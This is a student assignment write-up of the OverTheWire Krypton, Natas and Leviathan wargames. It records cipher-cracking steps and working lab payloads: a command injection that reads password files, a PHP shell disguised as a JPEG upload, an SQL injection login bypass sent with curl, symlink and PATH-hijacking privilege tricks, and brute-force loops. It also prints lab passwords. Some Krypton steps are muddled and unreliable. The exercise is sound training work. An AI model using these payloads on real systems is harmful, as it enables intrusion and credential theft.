# ASSIGNMENT 2: Krypton, Natas, Leviathan

Azka 248356

Mulund College of Commerce

**1Krypton Wargame**

• Level 0 → 1 : Base64 Decoding

1. 1. It revels the password for the next level: KRYPTONISGREAT

Command : echo 'S1JZUFRPTklTR1JFQVQ=' | base64 -d .

1. Use to connect with krypton0 with password we got

Command : ssh krypton1@krypton.labs.overthewire.org -p 2231

• Level 1 → 2: ROT13 Cipher

1. Navigate to the level directory:

Command : cd /krypton/krypton1

1. Read the encrypted file with “cd krypton2”.
2. Decrypt using ROT13

Command : cat krypton2 | tr 'A-Za-z' 'N-ZA-Mn-za-m'.

It helps to reveal the password for next level as ROTTEN.

• Level 2 → 3: Caesar Cipher

1. Connect with krypton level 2 using password ROTTEN

Command : sshkrypton2@krypton.labs.overthewire.org -p 2231

1. Navigate to the level directory and read the encrypted file.

Command : cat krypton3

1. Decrypt using Caesar cipher: Assuming a shift of 13 (ROT13).

Command : cat krypton3 | tr 'A-Za-z''N-ZA-Mn-za-m'

It helps to find password for next level i.e CAESARISEA

• Level 3 → 4: Frequency Analysis

1. Connect with krypton level 3 using password CAESARISEA

Command : ssh krypton3@krypton.labs.overthewire.org -p 2231

1. Navigate to the level directory using “cd /krypton/krypton3”.
2. Use frequency analysis on the found\* files to determine the most common letters, which can help in decrypting the cipher.
3. Decrypt the password. After analysis, the password is found to be BRUTE.

• Level 4 → 5: Vigenère Cipher

1. Connect with krypton level 4 using password BRUTE

Command : ssh krypton4@krypton.labs.overthewire.org -p 2231

1. Navigate to the level directory and read the encrypted file.

Command : cd /krypton/krypton4 Command : cat found1 cat found2 cat krypton5

1. Visit dcode.fr Vigenère Cipher. Input the content of found1 or found2 into the ciphertext field.Set the key length to 6 as specified. Use the tool to analyze and determine the key, which should be FREKEY. Use this key to decrypt krypton5, revealing the password for the next level: CLEARTEXT.

• Level 5 → 6: Vigenère Cipher with Unknown Key Length 1 .

1. Connect with krypton level 5 using password CLEARTEXT

Command : ssh krypton5@krypton.labs.overthewire.org -p 2231

1. Navigate to the level directory and read the encrypted file.

Command : cd /krypton/krypton5

Command : cat found1 cat found2 cat found3 cat krypton6

1. Determine key length and decrypt: Visit dcode.fr Vigenère Cipher. Input the content of found1 into the ciphertext field. Use the "Automatic Decryption" feature to let the tool determine the key length and key. The tool should identify the key as KEYLENGTH. Use this key to decrypt krypton6, revealing the password for the next level: RANDOM.

• Level 6 → 7: Custom Stream Cipher Analysis

1. Connect with krypton level 6 using password RANDOM

Command : ssh krypton6@krypton.labs.overthewire.org -p 2231

1. Navigate to the level directory and read the encrypted file.

Command : cd /krypton/krypton56

Command : cat README cat krypton6

Identify the encryption program encrypt6 and the encrypted file krypton7.

1. Perform known-plaintext attack: Create a file with repeated characters to analyze the encryption pattern.

Command : python -c 'print("A" \* 50)' > /tmp/plain./encrypt6 /tmp/plain /tmp/cipher cat/tmp/cipher

Observe the output to determine the key or pattern used.

1. Decrypt the final password: Use the insights gained from the previous step to decrypt krypton7.

Command : cat krypton7 Apply the decryption method consistent with the encryption pattern to reveal the password for Level 7.

• Level 7 :

1. Connect with krypton level 7 using password LFSRISNOTRANDOM.

Command : ssh krypton7@krypton.labs.overthewire.org -p 2231

1. It will show congratulation message for completing the labs.

**2. Natas Wargame**

(i) Level 0 → 1

**Tools Used**:

* Web browser, Firefox Dev Tools (Inspect Element)

**Objective:**

View password hidden in HTML source code.

**Steps Followed:**

1. Opened the level URL in browser.
2. Right-clicked → “View Page Source”.
3. Found the password as a comment in the HTML.

**Conclusion:**

Introduced to checking HTML source for sensitive info.

(ii) Level 1 → 2

**Tools Used:**

* Web browser, Firefox Dev Tools

**Objective:**

View hidden element in the source code.

**Steps Followed:**

1. Opened the page and found no visible password.
2. Used “Inspect Element” → found a hidden comment with password.

**Conclusion:**

Learned to inspect hidden HTML content and developer comments.

(iii) Level 2 → 3

**Tools Used:**

* Firefox Dev Tools

**Objective:**

Find password hidden in an image directory.

**Steps Followed:**

1. Page linked to /files/.
2. Visited the directory and found users.txt.
3. Opened file to find next level password.

**Conclusion:**

Demonstrated use of directory browsing and file enumeration.

(iv) Level 3 → 4

**Tools Used:**

* URL manipulation

**Objective:**

Find hidden file with password.

**Steps Followed:**

1. Source pointed to a file in /s3cr3t/.
2. Accessed the hidden folder and opened users.txt.

**Conclusion:**

Exposed hidden directories and poor security through obscurity.

(v) Level 4 → 5

**Tools Used:**

* Cookie viewer, Dev Tools → Storage

**Objective:**

Use cookie-based logic to view password.

**Steps Followed:**

1. Opened Dev Tools → Application tab → Cookies.
2. Noticed the cookie loggedin was 0.
3. Changed it to 1 → reloaded page → got password.

**Conclusion:**

Manipulated cookies to exploit weak logic.

(vi) Level 5 → 6

**Tools Used:**

* URL tampering

**Objective:**

Bypass referer check.

**Steps Followed:**

1. Server checks Referer header.
2. Used a custom header via cURL or plugin: curl -H "Referer:http://natas5.natas.labs.overthewire.org/" ...

**Conclusion:**

Understood how referer headers can be faked and misused.

(vii) Level 6 → 7

**Tools Used:**

* view-source, guessing usernames

**Objective:**

Find a hidden include file that stores credentials.

**Steps Followed:**

1. Source hinted at /includes/secret.inc.
2. Accessed it directly and retrieved the password.

**Conclusion:**

Learned to check included files for sensitive data.

(viii) Level 7 → 8

**Tools Used:**

* URL parameter manipulation

**Objective:**

Bypass logic based on user input.

**Steps Followed:**

1. Site expected username to be equal to admin.
2. Tried: ?username=admin&password=admin
3. Revealed the password.

**Conclusion:**

Tested logic vulnerability in input comparison.

(ix) Level 8 → 9

**Tools Used:**

* Base64 decoder

**Objective:**

Decode encoded input.

**Steps Followed:**

1. Input was encoded in Base64.
2. Decoded known value using: echo "YWRtaW4=" | base64 -d
3. Used decoded value to gain access.

**Conclusion:**

Practiced detecting and decoding base64 encoded strings.

(x) Level 9 → 10

**Tools Used:**

* Dictionary attack, script

**Objective:**

Guess a secret from a dictionary file.

**Steps Followed:**

1. Used a script to try values from /usr/share/dict/words.
2. Brute-forced until secret was found.
3. Submitted the correct value and retrieved password.

**Conclusion:**

Applied basic brute-forcing to find a hardcoded secret.

(xi) Level 10 → 11

**Tools Used:**

* Command injection

**Objective:**

Inject a command in form input.

**Steps Followed:**

1. Noticed grep being used in the backend.
2. Injected: admin; cat /etc/natas\_webpass/natas11
3. Revealed the password.

**Conclusion:**

Discovered a simple command injection vulnerability.

(xii) Level 11 → 12

**Tools Used:**

* XOR logic, Python

**Objective:**

Decrypt and re-encrypt session cookies.

**Steps Followed:**

1. Cookie value was XOR-encrypted.
2. Wrote a Python script to decode it.
3. Modified data and re-encrypted using XOR.
4. Set cookie to gain access.

**Conclusion:**

Practiced binary XOR encryption/decryption logic.

(xiii) Level 12 → 13

**Tools Used:**

* File upload bypass

**Objective:**

Upload a shell disguised as an image.

**Steps Followed:**

1. Crafted a .php file with image header + PHP code.
2. Uploaded and accessed the shell file.
3. Used it to cat /etc/natas\_webpass/natas13.

**Conclusion:**

Bypassed weak file upload filter.

LEVEL 13

Logic and Strategy Used:

The server validated uploaded files by checking for a valid image header, specifically JPEG headers. To bypass this check, a file was crafted which:

- Began with valid JPEG header bytes.

- Immediately followed the header with embedded PHP code that reads and outputs the password file.

Step-by-Step Actions:

1. Payload Creation:

PowerShell was used to create a file named "exploit.jpg.php" that contained:

- A JPEG header consisting of the bytes: 0xFF, 0xD8, 0xFF, 0xDB.

- PHP code: <?php echo file\_get\_contents("/etc/natas\_webpass/natas14"); ?>

2. File Upload:

The crafted file was uploaded using curl. The upload request specified the MIME type as "image/jpeg" to pass server-side checks.

3. Executing the Uploaded File:

After successful upload, the URL of the uploaded file was accessed. The PHP code inside the file was executed by the server, and the contents of the password file were displayed.

Tools Used:

- PowerShell: To generate the payload file with the correct binary structure.

- curl: To upload the file and interact with the server via HTTP requests.

- Browser/Terminal: To access and trigger the uploaded PHP file.

Result:

The password for natas14 was successfully retrieved:

z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

Conclusion:

This challenge demonstrated that simple file header validation is insufficient for secure file uploads. A malicious payload can still be crafted to appear as a valid image while containing executable code. Secure systems must implement deep content inspection and sanitize file uploads properly to prevent such vulnerabilities.

LEVEL 14

Objective

The goal for Natas Level 14 is to exploit an SQL injection vulnerability to bypass authentication and retrieve the password for the next level (natas15).

Tools Used

• PowerShell: For running the curl command.

• curl.exe: For sending HTTP requests to the web application.

Exploiting the SQL Injection

1. The web application is vulnerable to SQL injection because it constructs the SQL query by directly incorporating user input without sanitization.

Original vulnerable query (in PHP code):

$query = "SELECT \* FROM users WHERE username="" . $\_REQUEST["username"] . "" AND password="" . $\_REQUEST["password"] . """;

2. This makes the application susceptible to SQL injection, where we can manipulate the query.

SQL Injection Payload

3. To exploit this vulnerability, the payload injected into the username field is:

" OR 1=1 #

4. This modifies the original query to:

SELECT \* FROM users WHERE username="" OR 1=1 #" AND password="anyvalue"

• The OR 1=1 condition always evaluates to true, allowing the query to return all rows.

• The # character comments out the rest of the SQL query, including the password check, effectively bypassing authentication.

Step-by-Step Execution

1. Open PowerShell.

2. Run the following curl command to execute the SQL injection attack: curl.exe -u natas14:z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ -X POST -d "username=%22%20OR%201=1%20%23" -d "password=anyvalue" http://natas14.natas.labs.overthewire.org?debug

3. Server Response:

o The server responds with the executed query:

Executing query: SELECT \* FROM users where username="" OR 1=1 #" and password="anyvalue"

4. Successful login!

o The server outputs the password for natas15:

The password for natas15 is SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Password for Natas Level 15

The password for natas15 is:

SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Key Concepts and Logic

• SQL Injection: The vulnerability arises from constructing SQL queries by directly embedding user input. The payload bypasses authentication by always returning true in the WHERE clause.

• URL Encoding: The special characters in the payload, such as the double quote (") and hash (#), are URL-encoded to ensure they are transmitted correctly in the HTTP request:

o " -> %22

o space -> %20

o #-> %23

Security Takeaway

This level demonstrates the serious risks associated with using unfiltered user input in SQL queries. To prevent such attacks, developers should always use parameterized queries or prepared statements. These methods ensure that user input is treated as data, not as part of the SQL logic, thus preventing SQL injection vulnerabilities.

LEVEL 15

{"showpassword":"no","bgcolor":"#ffffff"}

eDWo

HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=

HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=

**3. Leviathan Wargame**

(i) Level 0 → Level 1

**Tools Used:**

* ls, strings, ./binary

**Objective:**

Analyze the check binary and find the hardcoded password.

**Steps Followed:**

1. Listed files in the home directory of leviathan0 and found the check binary.
2. Ran strings check to reveal readable strings inside the binary.
3. Found a hardcoded password.
4. Executed the binary with the found password: ./check sex
5. Got the password for leviathan1.

**Conclusion:**

Learned to extract hardcoded values from simple binaries using strings.

(ii) Level 1 → Level 2

**Tools Used:**

* ./binary, file path manipulation

**Objective:**

Use the printfile binary to access the password file for leviathan2.

**Steps Followed:**

1. Found a binary named printfile.
2. Tried different file paths like /etc/passwd, etc.
3. Successfully ran: ./printfile /etc/leviathan\_pass/leviathan2
4. Password was printed on the screen.

**Conclusion:**

Learned about file reading through custom binaries and using absolute paths.

(iii) Level 2 → Level 3

**Tools Used:**

* ln -s, ./binary

**Objective:**

Bypass filename filtering using symbolic links.

**Steps Followed:**

1. printfile may restrict filenames.
2. Created a symlink: ln -s /etc/leviathan\_pass/leviathan3 mylink
3. Ran: ./printfile mylink
4. Retrieved the password for leviathan3.

**Conclusion:**

Used symbolic linking to trick the binary into accessing restricted files.

(iv) Level 3 → Level 4

**Tools Used:**

* Bash scripting, brute-force loop

**Objective:**

Find a 4-digit PIN to reveal the next password.

**Steps Followed:**

1. Ran the level3 binary — it asked for a 4-digit pin.
2. Used a brute-force loop: for i in {0000..9999}; do ./level3 $i; done
3. Found correct pin and received password in output.

**Conclusion:**

Learned to automate brute-force attacks using simple bash loops.

(v) Level 4 → Level 5

**Tools Used:**

* find, file, SUID analysis

**Objective:**

Find and exploit a SUID binary.

**Steps Followed:**

1. Ran: find / -user leviathan4 -perm -4000 2>/dev/null
2. Located the binary and executed it.
3. It executed whoami or id, revealing useful environment or privilege info.
4. The binary gave access to the password for leviathan5.

**Conclusion:**

Used SUID binary behaviour to elevate access or extract restricted data.

(vi) Level 5 → Level 6

**Tools Used:**

* ltrace, strings, function tracing

**Objective:**

Trace the binary to find how it compares input to a password.

**Steps Followed:**

1. Ran: ltrace ./leviathan5
2. Saw that it uses strcmp() to compare input with a hardcoded string.
3. Found the correct password in ltrace output or by trying strings found inside.
4. Logged in with password.

**Conclusion:**

Introduced to binary instrumentation using ltrace to intercept function calls.

(vii) Level 6 → Level 7

**Tools Used:**

* strings, environment variable manipulation

**Objective:**

Use a binary that relies on environment or paths to run external commands.

**Steps Followed:**

1. Ran the binary — it attempted to execute a program like echo or ls.
2. Changed the $PATH environment to point to a custom script: echo "/bin/sh" > /tmp/echo chmod +x /tmp/echo export PATH=/tmp:$PATH ./leviathan6
3. Binary executed /tmp/echo which launched a shell as leviathan7.
4. Read the password from /etc/leviathan\_pass/leviathan7.

**Conclusion:**

Demonstrated environment manipulation and command hijacking via $PATH.